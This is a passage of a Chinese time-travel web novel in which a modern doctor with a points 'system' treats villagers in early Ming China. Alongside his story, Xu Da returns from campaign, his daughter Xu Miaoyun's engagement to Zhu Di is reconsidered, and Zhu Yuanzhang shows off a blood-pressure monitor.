“小人是徐府的仆役。”陈三压低声音,“我家小姐自打从您这儿回去,就茶饭不思,整日对着个药方发呆。老爷夫人急坏了,请了城里几位名医,都说没病。”
马淳一头雾水:“你家小姐是谁?我几时给她看过病?”
陈三面露难色:“这个……小姐特意嘱咐,不能透露身份。只说您看了这个就明白。”
他从怀里掏出块绣帕,上面歪歪扭扭绣着几味药名,正是马淳开给那位水痘妇人的医嘱。
马淳恍然大悟:“原来是那位……”
他及时刹住话头,心中暗忖。
看来是那位年轻姑娘,跟在老者身边的。
可自己不过是给她家老爷看了病,怎么反倒她病了?
“你家小姐除了发呆,还有什么症状?”
陈三搓着手:“就是总念叨什么‘零’啊,‘方程’啊,还拿树枝在地上画些古怪符号。夫人担心小姐中了邪,连道士都请了。”
马淳差点笑出声。
敢情这姑娘是对数学产生了兴趣。
他想了想,从书架上取出一本手抄册子。
“这是我整理的算术基础,你带回去给你家小姐。记住,就说是我说的,要想弄明白那些符号,得从最基础的学起。”
陈三如获至宝,小心地揣进怀里。
送走陈三,马淳站在院子里出神。
夕阳将他的影子拉得很长,远处传来归鸟的啼叫。
他忽然想起系统里那套十五万积分的乡卫生所设备。
要是有那套设备,能救多少人啊。可十五万积分,意味着要救治一万个普通病人,或者……
马淳摇摇头,打断自己的胡思乱想。
饭要一口一口吃,路要一步一步走。
眼下先把手头的病人照顾好才是正经。
他转身回到药房,开始整理今天新兑换的器械和药品。
手术刀在油灯下闪着寒光,止血钳开合时发出清脆的咔嗒声。
这些在现代医院再普通不过的工具,在这个时代却是救命的神器。
马淳小心地将它们擦拭干净,排列整齐。
夜深了,村子里渐渐安静下来。
偶尔传来几声犬吠,更显得夜的静谧。
马淳吹灭油灯,躺在床上却睡不着。
脑海里全是系统商城里那些诱人的医疗器械。
十五万积分虽然遥不可及,但也不是完全没有希望。
今天那个高血压的老者就给了两万积分,说明救治重要人物回报丰厚。可这样的机会可遇不可求,还是得脚踏实地。
他翻了个身,月光透过窗棂,在地上画出斑驳的花纹。
明天还要早起,村里还有几个病人等着复诊。
马淳闭上眼睛,慢慢进入梦乡。
梦里,他拥有了那套十五万积分的设备,小青村的医疗所成了全大明最先进的医院……
第13章 魏国公徐达!命运的齿轮有了变化
瓛回到锦衣卫驻地时,天色已晚。
他走路姿势略显怪异,半边屁股不敢用力,活像只瘸腿的鸭子。
指挥同知赵德胜和钱广正在值房等候多时,见他进来连忙起身行礼。
“缇帅,您回来了。”赵德胜拱手道,“江宁县那边……”
蒋瓛摆摆手打断他,小心翼翼地往太师椅上坐。
他只敢坐半边屁股,身子歪斜着。
钱广忍不住问道:“缇帅,您这坐姿……”
“本座爱怎么坐就怎么坐!”蒋瓛脸色一沉,“你们很闲吗?盯着本座看什么?”
赵德胜和钱广面面相觑。
赵德胜小心翼翼道:“属下就是看您脸色不太好,想问问……”
“问什么问!”蒋瓛一拍桌子,结果扯到屁股上的针眼,疼得他龇牙咧嘴,“有事说事!”
两人赶紧汇报公务,却见蒋瓛全程歪着身子,时不时还扭动两下。
钱广实在忍不住:“缇帅,要不要给您拿个软垫?”
“滚!”蒋瓛怒吼一声,“再废话就滚去守城门!”
两人吓得抱头鼠窜,出了门还在嘀咕。
“缇帅今天吃火药了?”
“谁知道呢,兴许是痔疮犯了……”
蒋瓛听见门外议论,气得直跺脚,结果又扯到针眼,疼得他倒吸凉气。
不多时,指挥佥事孙成进来禀报。
他一进门就满脸堆笑:“缇帅气色好多了,是哪位神医这么厉害,一天就把您治好了?”
蒋瓛一听“治好了”三个字,顿时火冒三丈。
他拍案而起:“孙成!你皮痒了是不是?”
孙成被吼得一脸懵:“属下就是关心您……”
“关心个屁!”蒋瓛气得胡子直翘,“本座看你就是存心看笑话!”
孙成委屈极了:“缇帅明鉴,属下哪敢啊。您前几日病得厉害,今日见您精神焕发,属下是真心高兴。”
蒋瓛这才想起自己确实病了几天。
他悻悻地坐下,结果又碰到针眼,疼得他直咧嘴。
孙成见状连忙上前:“缇帅可是哪里不适?要不要请太医……”
“闭嘴!”蒋瓛老脸通红,“再说一个字就滚去扫茅房!”
孙成吓得一缩脖子,赶紧汇报正事。
可他越是一本正经,蒋瓛越觉得他在憋笑,气得直瞪眼。
好不容易打发走孙成,蒋瓛长舒一口气。
他小心翼翼地摸了摸屁股,针眼已经不怎么疼了,可那种羞耻感挥之不去。
“该死的马大夫……”他咬牙切齿地嘀咕,“等哪天落到本座手里……”
话没说完,他突然想起马淳是皇帝看重的人,顿时泄了气。
边上有个千户小心翼翼递上呈文:“缇帅,魏国公已率军抵达城外三十里处,陛下命太子殿下亲往接官亭迎接。”
蒋瓛皱眉接过呈文,手指在案几上轻叩:“魏国公这次北伐大捷,陛下龙颜大悦啊。随行将领名单可曾看过?”
钱广连忙呈上名册:“燕王殿下也在其中,据说此战表现不俗。”
“燕王?”蒋瓛冷哼一声,“不过是仗着魏国公的势罢了。”
“对了皇后娘娘派徐府大小姐前往接官亭,说是要亲自迎接她父亲。”千户再次说道。
眼神中有些玩味。
蒋瓛猛地坐直,顿时疼得倒吸一口凉气。
他强忍疼痛问道:“徐妙云?她与燕王的婚约不是一直拖着吗?”
千户压低声音:“听说是燕王主动向陛下请求暂缓婚期,说是要等建功立业后再成家。”
蒋瓛眯起眼睛,若有所思地摸了摸下巴。
如果马淳在这里听到这话的话一定会非常惊讶。
原来的历史线,朱棣和徐妙云这个时候早就成婚,然而却因为他穿越而来,无形当中来了一下蝴蝶效应,导致很多人的命运都发生了转变。
比如燕王朱棣和本来应该是徐皇后的徐妙云。
蒋瓛挥手示意众人退下,独自在值房里踱步。
针眼的疼痛让他走路姿势怪异,活像只瘸腿的鸭子。
“马淳……”他咬牙切齿地念着这个名字,“若非你给陛下看病得了圣心,本座定要你好看!”
……
与此同时,接官亭外旌旗招展。
太子朱标身着杏黄色龙纹常服,负手而立。
他身后站着一位身着湖蓝色襦裙的少女,正是魏国公徐达的长女徐妙云。
徐妙云望着远处尘土飞扬的官道,手指不自觉地绞着帕子。
朱标回头温和一笑:“徐小姐不必紧张,魏国公此战大捷,父皇甚是欣慰。”
徐妙云勉强挤出一丝笑容:“多谢太子殿下宽慰。只是父亲年事已高,此番远征归来,不知身体如何。”
朱标正要说话,远处传来马蹄声。
一队骑兵疾驰而来,为首之人正是燕王朱棣。
他翻身下马,铠甲上还带着战场的尘土。
“大哥!”朱棣抱拳行礼,目光扫过徐妙云时微微一顿,随即移开。
朱标笑着拍拍弟弟肩膀:“四弟辛苦了。魏国公何在?”
朱棣侧身指向后方:“大军还在五里外,徐帅命我先行一步禀报。”
徐妙云上前半步,又迟疑地停下。
朱棣瞥了她一眼,语气生硬:“徐小姐不必担忧,令尊身体康健。”
场面一时尴尬。
朱标轻咳一声:“四弟,随我上车说话。”
马车内,朱标亲手为朱棣斟茶。
他看着弟弟阴沉的脸色,温声问道:“此番北伐归来,四弟为何闷闷不乐?”
朱棣握紧拳头,指节发白:“大哥,我明明每战必冲锋在前,可全军上下都说我是沾了徐达的光!就连我亲手斩杀的敌将,功劳也被记在徐达头上!”
朱标叹息一声:“四弟,你与徐家小姐的婚约确实……”
“我不想靠女人!”朱棣猛地抬头,眼中燃着怒火,“我要凭自己的本事建功立业!大哥,你明白吗?”
朱标沉默片刻,缓缓点头:“我明白。但父皇为稳住勋臣,恐怕……”
朱棣冷哼一声,别过脸去看向窗外。
马车缓缓驶向城门,远处已经能看到凯旋大军飘扬的旗帜。
接官亭外,徐妙云独自站在风中。
侍女小声劝道:“小姐,风大,不如先回马车等候?”
徐妙云摇头,目光坚定地望着远方。
她轻声道:“父亲一生为国征战,我岂能因一点风寒就退缩?”
她拢了拢披风,忽然想起什么:“对了,前日让你送去小青村的谢礼,可曾送到?”
侍女点头:“已经按小姐吩咐,将那些算学书籍和文房四宝送给马大夫了。只是……”
她欲言又止。
“只是什么?”
“那马大夫似乎很惊讶,还问小姐为何送这些。”
徐妙云嘴角微扬:“他自然不明白。那日他讲解的方程之法,我至今仍在研习。”
她眼中闪过一丝向往,“若能再听他讲一课就好了。”
侍女担忧地看着自家小姐:“小姐,您与燕王殿下的婚约……”
“别提这个。”徐妙云脸色骤冷,“父亲答应过我,不会强迫我嫁不喜欢的人。”
马淳一直以为那日因方程和讲课入迷的是徐妙锦,却没想到是徐妙锦回去后讲给了徐妙云听。
真正入迷的是徐妙云……
第14章 马淳穿越的蝴蝶效应
史书记载,徐妙云不仅美貌动人,更是京城有名的女诸生,在京城大家闺秀当中,可谓才貌双全拔头筹者。
远处号角声响起,凯旋大军终于出现在地平线上。
徐妙云挺直腰背,整理衣襟准备迎接父亲。
大军最前方,魏国公徐达骑在马上,虽已年过五旬,却依然精神矍铄。
他看到接官亭前的太子仪仗,连忙下马步行。
“老臣参见太子殿下!”徐达抱拳行礼,声音洪亮。
朱标快步上前扶住:“魏国公不必多礼,父皇命我代他迎接功臣。”
徐达连称不敢,目光扫过女儿时满是慈爱。
徐妙云眼眶微红,却强忍着没有落泪。
朱棣此时也下了马车,站在朱标身后。
徐达看到他,笑容微敛,礼节性地拱手:“燕王殿下。”
朱棣回礼,态度恭敬却不亲近。两人之间的气氛明显微妙。
朱标适时打破沉默:“魏国公一路辛苦,父皇已在奉天殿设宴。请随我入宫觐见。”
入城途中,徐妙云与父亲同乘一辆马车。
她终于忍不住落下泪来:“父亲,女儿好想您。”
徐达轻拍女儿后背,叹道:“为父这不是平安回来了吗?听说你近来在研究医术?”
徐妙云擦干眼泪,点点头:“妙锦随皇后外出偶遇一位奇人,他讲解的算学之法精妙绝伦。女儿想,若能学得医术,或可为您诊治,您的旧伤可是拖不得了。”
徐达欣慰地看着女儿:“你有此心甚好。届时为父去请太子殿下代为引见,说不得能见到那位奇人。”
徐妙云眼中闪过惊喜,随即又黯淡下来:“可是燕王那边……”
“放心,他也不愿娶你。”徐达笑道。
徐妙云听到父亲的话,眼睛顿时亮了起来。
她攥着帕子的手指微微松开,嘴角不自觉地上扬。
“真的?”她声音轻快,像是卸下了重担,“燕王殿下当真也不愿娶我?”
徐达看着女儿这副模样,忍不住摇头失笑。他拍了拍女儿的手背,马车颠簸中,他的声音低沉而温和。
“那小子心气高着呢。你爹我这点家底,在他眼里反倒成了累赘。”
徐妙云眨了眨眼,有些不解。
徐达叹了口气,身子往后靠了靠。铠甲上的尘土簌簌落下,在车厢里扬起细小的尘埃。
“燕王随我北伐这些日子,我看得清楚。每次冲锋陷阵,他都要抢在最前头。斩将夺旗时,明明可以报我的名号领功,他却偏要强调是自己亲手斩杀的。”
徐妙云若有所思地点点头。她想起方才在接官亭前,燕王那生硬的态度和躲闪的眼神。
“他这是怕人说闲话?”
“何止是怕。”徐达冷笑一声,“那小子骨子里和他爹一个模子刻出来的。陛下当年何等傲气?如今燕王也是一样,恨不得全天下都知道他的功勋是自己一刀一枪拼出来的,半点不愿借别人的势。”
马车转过一个弯,阳光从帘子缝隙漏进来,照在徐达略显疲惫的脸上。
“你喜静,爱读书;他好动,嗜武事。若是强凑在一起,早晚要生怨怼。更何况……”徐达顿了顿,压低声音,“若他真娶了你,日后就藩北平,满朝上下都会说他是靠着岳父的旧部起家。那些将领哪个不是我带出来的?朱能、张玉,还有北平府那些有经验的老将,哪个不是我徐达的班底?”
徐妙云闻言一怔。她虽知父亲在军中的威望,却从未想过这一层。
“父亲的意思是……”
“那小子精明着呢。”徐达哼了一声,“他宁可不要这门亲事,也不愿一辈子被人说成是靠女人裙带关系上位的软脚虾。”
徐妙云抿嘴笑了。她忽然觉得心头一块大石落地,连呼吸都轻快了许多。
“如此说来,女儿倒要谢谢燕王殿下的傲气了。”
徐达看着女儿如释重负的样子,眼中闪过一丝复杂。他伸手替女儿拢了拢被风吹乱的鬓发。
“你自小聪慧,为父本不愿你卷入皇家是非。只是陛下当初提亲,我实在不好推拒,我当时便觉得这门亲事容易害了我们徐家。”
“父亲,您是说这门婚事会害了徐家?”她的声音有些发颤。
徐达叹了口气,伸手拍了拍女儿的肩膀。“妙云,你自小聪慧,应该明白其中的利害。咱们徐家如今已是树大招风,若再与燕王联姻,只会让陛下更加忌惮。”
徐妙云咬了咬下唇,眼中闪过一丝不安。“可这是陛下的意思,我们如何能拒绝?”
徐达目光深沉,望向窗外逐渐热闹的街市。“陛下当初提亲时,我确实不好推拒。但如今看来,燕王自己也不愿结这门亲事,倒是给了我们一个转圜的余地。”
“父亲,女儿不明白,为何燕王与徐家联姻会有如此大的风险?”徐妙云低声问道。
徐达收回目光,看向女儿。“妙云,你可知道秦王和晋王的婚事?”
徐妙云点点头。“秦王正妃乃王保保之妹,次妃是邓愈之女;晋王娶了永平侯谢成之女。”
“不错。”徐达沉声道,“邓愈早在洪武十年便过世,且未经略陕西;永平侯谢成在朝中也没什么气候。但你父亲我不一样。”
他顿了顿,语气凝重。“不夸张地说,我是开国第一功勋,镇守北平十几年,北平府的一草一木皆是我的心血。若燕王与我徐家联姻,那便是顶格亲王加顶格勋贵,不客气地说,造反的底子都有了。陛下会放心吗?”
徐妙云倒吸一口凉气,脸色更加苍白。“女儿从未想过这一层。”
徐达苦笑一声。“陛下也是没办法了才会强扭这个瓜。他既想笼络功臣,又想安抚诸王,但这事若成,咱们徐家恐怕没有好果子吃,燕王也会事事被掣肘。这不是好事啊,如此一来,反倒白瞎了燕王殿下这一等一的帅才。”
徐妙云沉默片刻,轻声道:“难怪燕王殿下对女儿总是避而远之。原来如此。女儿还以为他只是单纯不喜欢我。”
……
第15章 傲娇的燕王
“父亲,女儿有一事相求。”
“说。”
“女儿想去见见那位马大夫。”她抬起头,眼中闪着期待,“妙锦说他医术高明,更精通算学。女儿想……”
徐达了然地点点头。他早看出女儿对医术和算学的兴趣,只是碍于身份,一直未能如愿。
“待我见过陛下,寻个机会带你去便是。”他顿了顿,忽然笑道,“不过你可要想清楚,那马大夫虽有些本事,终究是个乡野郎中。你若真去求教,传出去怕是不好听。”
徐妙云却浑不在意地摇摇头。
“女儿不在乎那些虚名。若能学得真本事,便是被人说三道四又何妨?”
徐达欣慰地拍了拍女儿的肩膀。马车缓缓驶入城门,远处宫墙巍峨,旌旗猎猎。
“好,有志气。不愧是我徐达的女儿。”
父女二人相视一笑。徐妙云忽然想起什么,犹豫了一下才开口。
“父亲,燕王殿下他……真的那么讨厌我吗?”
徐达闻言大笑,笑声震得马车都微微颤动。
“他倒不是讨厌你。那小子是讨厌所有可能让他显得无能的东西。你,还有你爹我,在他眼里都是阻碍他建功立业的绊脚石。”
徐妙云噗嗤一声笑出来。
她忽然觉得燕王这人倒也有趣,虽然傲慢,却也算坦率。
“如此说来,女儿与他倒是同病相怜了。”
徐达意味深长地看了女儿一眼。
“你若是男儿身,为父这些家业都是你的。可惜……”
徐妙云打断父亲的话,眼神坚定。
“女儿虽不能继承父亲的家业,却可以学一身本事。将来无论嫁与何人,都不必仰人鼻息。”
徐达怔了怔,随即哈哈大笑。
“好!有志气!”
马车缓缓停下,外面传来侍卫的通报声:“国公爷,到宫门了。”
徐达整了整衣冠,对女儿说道:“云儿,今日进宫,你且安心。为父会找机会向陛下陈情,争取退了这门婚事。”
徐妙云点点头,眼中浮现出一丝希望。“多谢父亲。”
马车在宫门前停下。
徐达整了整衣冠,准备下车。
临行前,他回头对女儿嘱咐道:“这几日你且安心在家。待我见过陛下,便带你去见那位马大夫。”
徐妙云乖巧地点头,阳光照在徐达的铠甲上,反射出耀眼的光芒。
她忽然觉得,父亲的身影比往日更加高大。
宫门外,朱棣正与太子说着什么。
见徐达走来,他立刻闭上嘴,神情复杂地看了这边一眼。
徐妙云迎上他的目光,难得地冲他微微一笑。
朱棣明显愣了一下,随即别扭地转过头去。
“真是个怪人。”徐妙云小声嘀咕,却忍不住又笑了。
……
父女二人下了马车,随着引路太监向奉天殿走去。
宫墙高耸,朱红色的门扉在阳光下显得格外威严。
徐妙云跟在父亲身后,心中思绪万千。
她想起在接官亭前,燕王朱棣看向她时那冷淡的眼神,如今终于明白了其中的深意。
“父亲,若是退了这门婚事,女儿日后……”她低声问道。
徐达回头看了她一眼,目光温和,“你放心,为父会为你寻一门合适的亲事。你才貌双全,何愁找不到良配?”
徐妙云轻轻摇头。“女儿不是担心这个。女儿只是觉得,若能像那位马大夫一样,自由自在地行医济世,该有多好。”
徐达愣了一下,随即笑道:“你呀,总是有些稀奇古怪的想法。不过那位马大夫确实是个奇人,连皇后娘娘和皇长孙的病都能治好。你若真对医术感兴趣,为父倒可以请太子殿下代为引见。”
徐妙云眼中闪过一丝欣喜。“真的?”
徐达点点头。“自然是真的。不过眼下先进宫面圣,其他的事以后再说。”
父女二人随着太监穿过重重宫门,来到奉天殿外。
殿前广场上,文武百官已列队等候。
太子朱标站在最前方,见徐达到来,连忙迎上前。
“魏国公一路辛苦,父皇已在殿内等候多时。”朱标温声说道。
徐达拱手行礼。“老臣参见太子殿下。”
朱标扶起徐达,目光扫过一旁的徐妙云,微微一笑。“徐小姐也来了。”
徐妙云福身行礼。“见过太子殿下。”
朱标点点头,对徐达说道:“魏国公,请随我入殿吧。父皇今日龙颜大悦,特意为北伐将士设宴庆功。”
徐达谢过太子,回头对女儿说道:“云儿,你先去后宫拜见皇后娘娘,待宴席结束后,为父再派人接你。”
徐妙云应了一声,目送父亲和太子进入奉天殿,这才随着宫女向后宫走去。
走在宫道上,她的心情比来时轻松了许多。父亲的话让她明白了许多之前未曾想到的利害关系,也让她对未来的生活有了新的期待。
“若能退了这门婚事,或许真能像马大夫那样,做些自己喜欢的事。”她心中默默想着。
宫女引着她来到坤宁宫外,通报过后,徐妙云被带入殿内。
马皇后正坐在榻上,见她进来,脸上露出慈爱的笑容。
“妙云来了,快过来坐。”马皇后招手道。
徐妙云上前行礼。“臣女参见皇后娘娘,娘娘万福金安。”
马皇后扶起她,拉着她的手坐下。“不必多礼。你父亲可好?一路奔波,身体可还吃得消?”
徐妙云恭敬答道:“多谢娘娘关心,父亲身体康健,只是有些旧伤偶尔发作,并无大碍。”
马皇后点点头。“那就好。本宫听说你近来在研究医术,可是为了给你父亲调理身体?”
徐妙云微微一愣,随即明白是妹妹妙锦将此事告诉了皇后。
她轻声答道:“臣女确实对医术有些兴趣,只是才疏学浅,还需多多学习。”
马皇后笑道:“你有这份孝心,实在难得。本宫认识一位医术高明的大夫,或许可以请他指点你一二。”
徐妙云心中一动,试探着问道:“娘娘说的可是那位治好您和皇长孙的小马大夫?”
马皇后有些惊讶。“你也知道他?”
徐妙云点点头。“臣女听妹妹提起过,说他医术精湛,为人谦和。”
马皇后眼中闪过一丝赞许。“不错,正是他。那小马大夫确实是个奇人,连陛下都对他另眼相看。你若真想学医,本宫可以安排你与他见上一面。”
徐妙云心中欣喜,连忙起身行礼。“多谢娘娘成全。”
……
第16章 今日方知为何‘柴\’为第一
四月的风裹着寒意钻进医馆的窗缝,马淳搓了搓手,呼出的白气在面前凝成一团。
他跺了跺冻得发麻的脚,忍不住抱怨:“这鬼天气,都快清明了还这么冷。”
药柜上的瓷瓶摸上去冰凉刺骨,马淳缩回手,转身走进里间。
休息室的土炕冷得像块冰,他伸手摸了摸,立刻打了个哆嗦。
“系统,兑换一条电热毯。”
【叮!扣除50积分,电热毯兑换成功。】
柔软的毯子凭空出现在炕上,马淳利索地铺好,插上太阳能供电系统的插座。
不一会儿,暖意就从身下蔓延开来。
他舒服地叹了口气,忽然想起什么,又打开系统商城。“再给我来几包辣条,还有那套《射雕英雄传》。”
【叮!扣除10积分,兑换成功。】
香辣的气味立刻充满房间,马淳撕开包装咬了一口,辣得直吸气。
他翻开小说,靠在枕头上,整个人陷进温暖的被窝里。
“这才叫生活。”他满足地嘟囔着。
以前在医院值班时哪有这种清闲,急诊室的电话随时会响,手术台上一站就是十几个小时。
现在虽然穿越到明朝,反倒能享受这种慢节奏的日子。
马淳咬了口辣条,被辣得直吐舌头。他随手翻开小说,郭靖正在大漠练武。窗外的寒风呼啸,屋里却暖融融的,电热毯的温度恰到好处。
“古代人真不容易。”他看了眼窗外光秃秃的树枝,“没有暖气空调,冬天得多难熬。”
难怪柴米油盐酱醋茶里“柴”排第一位。
没柴火烧饭取暖,真的会冻死人。
马淳想起村里那些低矮的茅屋,单薄的土墙根本挡不住寒风。
每年冬天,周边村里总要冻死几个老人孩子。
这可是在京城附近,生活条件都这么艰苦,更不要说更偏远的地方。
诶……
他长叹了一口气,只怪自己现在的积分也不够多。
他三口两口吃完辣条,又兑换了一包。
商城里的零食便宜得惊人,一积分能换一包。
反倒是医疗器械贵得离谱,一台X光机就要十万积分。
“得抓紧赚积分啊。”马淳翻了个身,书页哗啦作响。
黄蓉正在巧计戏弄黄河四鬼,他看得入迷,暂时把烦恼抛到脑后。
院外传来脚步声,马淳赶紧收起零食和小说。
电热毯来不及收,他只好用被子盖住。
“马大夫在吗?”是老李头的声音。
马淳整理好衣袍走出去:“李叔,有事?”
老李搓着手站在院里,鼻子冻得通红。“我家婆娘染了风寒,发热咳嗽,您给看看?”
马淳拎起药箱:“走。”
路上老李絮絮叨叨说着家里的难处。柴火不够用,儿子上山砍柴摔伤了腿,儿媳又怀了身子。
马淳听着,心里不是滋味。
到了李家,屋里阴冷潮湿。
李婶蜷缩在薄被里,脸色发青。
马淳给她量了体温,三十八度五。
“风寒入肺,得赶紧退烧。”他取出退热药,又兑换了几片抗生素。“按时吃药,多喝热水。”
老李愁眉苦脸:“柴火不够烧,热水都难。”
马淳想了想,从药箱底层摸出个暖水袋,“这个给你,灌上热水能暖和一晚上。”
老李千恩万谢,非要塞给他两个鸡蛋。
马淳推辞不过,只好收下。
回医馆的路上马淳站在门口望着灰蒙蒙的天空。
他搓了搓冻得发红的手,呼出的白气在眼前凝成一团。
老李佝偻着背从远处走来,怀里抱着个破旧的瓦罐。“小马大夫,您要的热水烧好了。“
马淳接过瓦罐,指尖传来的温度让他稍稍舒展了眉头,“李叔,天这么冷,您就别来回跑了。“
“不碍事。“老李搓着手,“您给村里人看病都不收钱,这点小事算啥。“
马淳没说话,转身进屋把热水倒进暖水瓶。
他盯着那个印着大红喜字的铁皮暖壶,心里像压了块石头。
系统商城里那套锅炉系统要十万积分,他现在连零头都凑不齐。
可看着村里人冻得瑟瑟发抖的样子,他又实在不忍心。
“李叔,您先坐会儿。“马淳从药柜底下借摸东西为掩护,兑换了几个暖水瓶出来,“这些您带回去,给家里老人孩子用。“
老李瞪大眼睛:“这可使不得!这么金贵的东西……“
“拿着吧。“马淳硬塞给他,“前几日救了个大户人家,人家给的谢礼。我留着也用不完。“
老李颤抖着手接过暖壶,眼眶发红:“小马大夫,您真是活菩萨……“
马淳摆摆手:“您先回去,我再烧些水给其他人家送去。“
送走老李,马淳关上门长叹一口气。
他打开系统商城,看着那套标价十万积分的锅炉系统,手指悬在半空迟迟点不下去。
“系统,就不能便宜点?“
“本系统概不讲价。“
马淳咬了咬牙,最终还是兑换了五十个暖水瓶和一批煤炭。
积分哗啦啦往下掉,他心疼得直抽气。
“就当是前期投资。“他自我安慰道,“等救了更多人,积分总会回来的。“
傍晚时分,马淳推着独轮车挨家挨户送暖壶。
车上是烧好的热水和崭新的暖瓶,车轮碾过冻硬的土路发出咯吱咯吱的响声。
王婶家的小翠第一个跑出来:“小马大夫!“
马淳弯腰摸摸孩子的头:“天冷,别跑出来。“
他拿出个暖壶,“这个给你娘,以后每天都能喝上热水了。“
小翠抱着暖壶蹦蹦跳跳进屋,不一会儿王婶红着眼睛出来:“马大夫,这太贵重了……“
“不贵重。“马淳又拿出个暖壶,“您家老人多,多拿一个。“
走到村东头时,天色已经暗下来。
张老汉蹲在自家茅屋前咳嗽,单薄的衣衫在寒风里像片枯叶。
马淳停下车:“张伯,给您送热水来了。“
张老汉抬头,浑浊的眼睛里映着最后一点天光:“是小马啊……“
马淳把暖壶塞进老人怀里,触手一片冰凉。
他心头一紧:“您屋里没生火?“
“柴火不够烧……“老人声音沙哑,“留着做饭用。“
马淳二话不说从车上搬下两袋煤:“这些您先用着,明天我再送些来。“
张老汉颤抖着手摸向煤块,老泪纵横:“这、这怎么使得……“
“使得。“马淳扶起老人,“天冷,您先进屋。“
回医馆的路上,马淳的独轮车已经空了。
夜风刮在脸上像刀子,他却觉得心里松快了些……
第17章 皇帝显摆测压仪
乾清宫内,朱元璋斜倚在龙椅上,手指轻叩扶手。
徐达大步走入殿中,铠甲未卸,风尘仆仆。
他单膝跪地,抱拳行礼:“臣徐达,叩见陛下。”
朱元璋笑着摆手:“起来吧,跟咱还整这些虚礼。北伐情况如何?”
徐达起身,从怀中取出一卷舆图铺在御案上。“托陛下洪福,此次北伐大捷。我军连克三城,斩敌将哈尔木,俘获北元部众万余。”
朱元璋眼睛一亮,身子前倾:“哈尔木?就是那个号称‘草原之狼’的?”
“正是。”徐达指着舆图上的一处标记,“此人在和林一带盘踞多年,屡次袭扰边关。此次燕王率精兵突袭其老巢,亲手斩其首级。”
朱元璋拍案大笑:“好!老四这小子总算给咱长脸了!”
徐达继续道:“此外,副将蓝玉在捕鱼儿海大破元将阿鲁台部,缴获辎重无数。这是详细战报,请陛下过目。”
朱元璋接过奏章,粗略扫了几眼,脸上笑意更浓。“天德啊,你这次可给咱立了大功。说说,想要什么赏赐?”
徐达连忙躬身:“为陛下分忧乃臣本分,不敢求赏。”
“哎,你这人就是太实在。”朱元璋起身,拍了拍徐达的肩膀,“走,跟咱去坤宁宫用膳。妹子知道你今日回京,特意备了你爱吃的烧鹅。”
徐达受宠若惊:“这如何使得……”
“少废话。”朱元璋一把拉住徐达的胳膊,“咱哥俩多久没一起喝酒了?今日定要一醉方休!”
两人穿过重重宫门,徐达落后半步,恭敬地跟在朱元璋身侧。路过的宫女太监纷纷跪地行礼,偷眼打量着这对君臣。
坤宁宫内,马皇后早已命人摆好宴席。见二人进来,她笑着迎上前:“天德一路辛苦,快入座吧。”
徐达深深一揖:“臣参见皇后娘娘。”
马皇后温声道:“都是自家人,不必多礼。陛下常念叨你,说北伐军中少了你这老兄弟,连喝酒都不痛快。”
朱元璋哈哈大笑,拉着徐达入席。桌上摆着几样家常小菜,正中一只金黄油亮的烧鹅散发着诱人香气。
“来,尝尝妹子的手艺。”朱元璋亲自撕下一只鹅腿放在徐达碗里,“这可是用你去年送来的秘方腌制的。”
徐达感动不已,双手接过:“谢陛下,谢娘娘。”
酒过三巡,朱元璋忽然神秘兮兮地从袖中取出一个物件。“天德,给你看个新鲜玩意儿。”
徐达定睛一看,是个银色的奇怪装置,上面连着条布带。“这是?”
“这叫测压仪。”朱元璋得意地晃了晃,“是小马大夫送给咱的宝贝,能测什么血压。”
马皇后抿嘴一笑:“陛下得了这物件,见人就显摆,连太子都测了三回。”
朱元璋不以为意,兴致勃勃地将布带缠在徐达手臂上。“别动啊,咱给你测测。”
徐达有些紧张地看着那奇怪的装置。
朱元璋有模有样地操作着,嘴里还念叨着马淳教他的术语:“这叫收缩压,这叫舒张压……嗯,你这数值有点高啊。”
徐达小心翼翼地问:“陛下,这数值高是好是坏?”
朱元璋皱眉:“那小大夫说,血压太高容易中风。你这把年纪还带兵打仗,可得注意。”
马皇后适时插话:“天德常年征战,身上旧伤不少。不如让马大夫给瞧瞧?”
徐达连忙摆手:“臣粗人一个,哪敢劳烦神医。”
“哎,这话就见外了。”朱元璋解开布带,“那小大夫虽是个乡野郎中,可医术确实了得。咱这头疼的老毛病,吃了他给的药,好多了。”
马皇后也道:“雄英的水痘也是他治好的。这孩子现在天天念叨要去找马大夫学算术。”
徐达若有所思:“臣听闻这位马大夫精通算学,还懂什么阿拉伯数字?”
“对对对!”朱元璋来了精神,“那小子满脑子稀奇古怪的学问。前几日还教咱什么方程法,说是算账特别快。”
徐达趁机道:“陛下,臣有个不情之请。”
“说。”
“小女妙云自幼喜好算学,听闻马大夫精通此道,一直想求教。不知……”
朱元璋大手一挥:“这有何难?改日让妙云丫头去小青村就是。那小大夫性子随和,不会摆架子。”
马皇后补充道:“不如让妙云随本宫一同前往。正好雄英闹着要去,咱们就当散心。”
徐达感激不尽,起身就要行礼。朱元璋一把按住他:“行了行了,喝酒!今日不醉不归!”
夕阳西下,坤宁宫内欢声笑语不断。徐达多喝了几杯,脸色微红。朱元璋更是兴致高涨,又拿出测压仪要给马皇后测量。
马皇后笑着躲开:“陛下醉了,这物件哪能测出什么来。”
朱元璋不服:“谁说的?咱测给你看!”
说着就要给自己绑上。
徐达看着这对帝后嬉闹,心中感慨万千。
他想起女儿对医术的向往,又想到马淳那些神奇的医术和算学,不禁对那位素未谋面的乡野郎中生出几分好奇。
宴席将散时,朱元璋忽然正色道:“天德,此次北伐大捷,北元元气大伤。咱想着,是不是该考虑迁都之事了?”
徐达酒意顿消,谨慎答道:“陛下圣明。北平确实比应天更适合控扼北方。”
朱元璋点点头,目光深远:“这事不急,咱再想想。你先好好休息,过几日咱们再详谈。”
离开坤宁宫时,徐达回头望了一眼。
朱元璋正倚在栏杆上,手里把玩着那个测压仪,神情若有所思。
徐达忽然觉得,这位老兄弟似乎比从前多了几分人情味。
而他很明白,前些日子皇后和皇长孙同时生病,让皇帝极为伤神,而如今皇后康复了,皇长孙还在慢慢康复中,这才让老兄弟龙颜大悦。
或许比起北伐的胜利而言,马皇后和皇长孙同时被治愈,才是老兄弟真正这么高兴的原因。
一念至此,心中有所感,这位马大夫救的可不仅仅只是两个人,而是整个大明天下的走势……
第18章 女诸生徐妙云
魏国公府的灯笼在夜风中轻轻摇晃,徐达大步走进内院,铠甲上的尘土还未拍净。
徐妙云正在书房临帖,听到脚步声连忙放下毛笔迎了出去。
“父亲回来了。”她福身行礼,眼中满是期待。
徐达解下佩剑递给侍从,脸上带着笑意:“妙云,为父有个好消息告诉你。”
徐妙云眼睛一亮:“可是陛下应允了?”
“马皇后答应带你一同去小青村。”徐达拍了拍女儿的肩膀,“三日后启程,你准备一下。”
